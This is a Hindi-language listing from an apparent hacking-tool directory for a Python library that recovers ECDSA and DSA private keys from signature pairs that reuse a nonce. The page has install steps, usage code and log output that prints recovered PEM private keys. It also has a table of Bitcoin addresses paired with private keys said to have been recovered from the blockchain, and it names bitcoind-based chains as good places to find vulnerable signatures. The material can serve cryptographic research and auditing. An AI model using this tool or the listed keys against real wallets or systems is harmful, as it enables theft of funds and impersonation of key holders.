Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ecdsa-private-key-recovery — एक क्रिप्टोग्राफिक अनुसंधान उपकरण जो सिग्नेचर कमजोरियों का विश्लेषण करने के लिए है | Kitploit
उपकरण/GitHubGitHub/barnew-st/ecdsa-private-key-recovery
भेद्यता विश्लेषणशोषणडिजिटल फोरेंसिकक्रिप्टोग्राफी
GitHubbarnew-st/ecdsa-private-key-recovery

ecdsa-private-key-recovery

एक क्रिप्टोग्राफिक अनुसंधान उपकरण जो सिग्नेचर कमजोरियों का विश्लेषण करने के लिए है

रिपॉजिटरी देखें
2144110 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ecdsa-key-recovery

ECDSA और DSA नॉन्स पुन:उपयोग (Nonce Reuse) निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें

सिग्नेचर कमजोरियों के विश्लेषण के लिए एक क्रिप्टोग्राफिक अनुसंधान उपकरण

आइए समान nonce k साझा करने वाले दो सिग्नेचरों के लिए निजी-कुंजी पुनर्प्राप्त करें। ध्यान दें कि समान nonce k चुनने से दोनों सिग्नेचरों में समान सिग्नेचर मान r होता है। ECDSA नॉन्स पुन:उपयोग के लिए अच्छे उम्मीदवार खोजने हेतु विभिन्न संदेशों (या हैश) के लिए समान r, pubkey को curve पर साझा करने वाले सिग्नेचरों की जाँच करें। उदा. bitcoind पर आधारित ब्लॉकचेन प्रोजेक्ट आमतौर पर ECDSA सिग्नेचर सामग्री के अच्छे स्रोत होते हैं।

  • sampleA (r, sA, hashA, pubkey, curve)
  • sampleB (r, sB, hashB, pubkey, curve)
root@kitploit:~
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleA के समान privkey, nonce reuse k के कारण समान r।

# निजी कुंजी पुनर्प्राप्त करें
sampleA.recover_nonce_reuse(sampleB)  # sampleA को पुनर्प्राप्त निजी कुंजी से भरता है, उपयोग के लिए तैयार
print sampleA.privkey 

सेटअप

Python 2.x:

root@kitploit:~
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

root@kitploit:~
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

बिटकॉइन ब्लॉकचेन से निजी कुंजियाँ पुनर्प्राप्त करना

tools/README.md

BTC पताBase58 Privkeyr
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT6828441658514710620715231245132541628903431519484374098968817647395811175535

उदाहरण

पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं:

root@kitploit:~
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# वक्र निर्दिष्ट करें
curve = ecdsa.SECP256k1

# हेक्स-एन्कोडेड स्ट्रिंग से मानक ecdsa pubkey ऑब्जेक्ट बनाएं
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# sampleA और sampleB पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं।
# लंबा r, लंबा s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# कुंजी अभी तक पुनर्प्राप्त नहीं हुई
assert (sampleA.x is None)     

sampleA के लिए निजी कुंजी पुनर्प्राप्त करें

root@kitploit:~
# कुंजी पुनर्प्राप्त करने का प्रयास करें - यह ऑब्जेक्ट sampleA को अपडेट करता है
sampleA.recover_nonce_reuse(sampleB)    # sampleB के साथ साझा निजीकुंजी पुनर्प्राप्त करें
assert (sampleA.x is not None)          # privkey पुनर्प्राप्ति सफल होने की पुष्टि करें। यह हमें उपयोग के लिए तैयार ECDSA privkey ऑब्जेक्ट देता है
assert sampleA.privkey

आउटपुट

root@kitploit:~
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - nonce reuse से निजीकुंजी पुनर्प्राप्त की जा रही है...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - nonce reuse से निजीकुंजी पुनर्प्राप्त की जा रही है...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----

लाइब्रेरी इस तरह लिखी गई है कि यह सफल पुनर्प्राप्ति पर केवल pubkey वाले ecdsa ऑब्जेक्ट्स को निजी कुंजी-सक्षम ecdsa ऑब्जेक्ट्स में अपग्रेड करने का प्रयास करती है। यह पुनर्प्राप्त कुंजी ऑब्जेक्ट्स के साथ काम करना आसान बनाता है। लाइब्रेरी ECDSA और DSA दोनों कुंजी पुनर्प्राप्ति करती है।

टूल डाउनलोड करें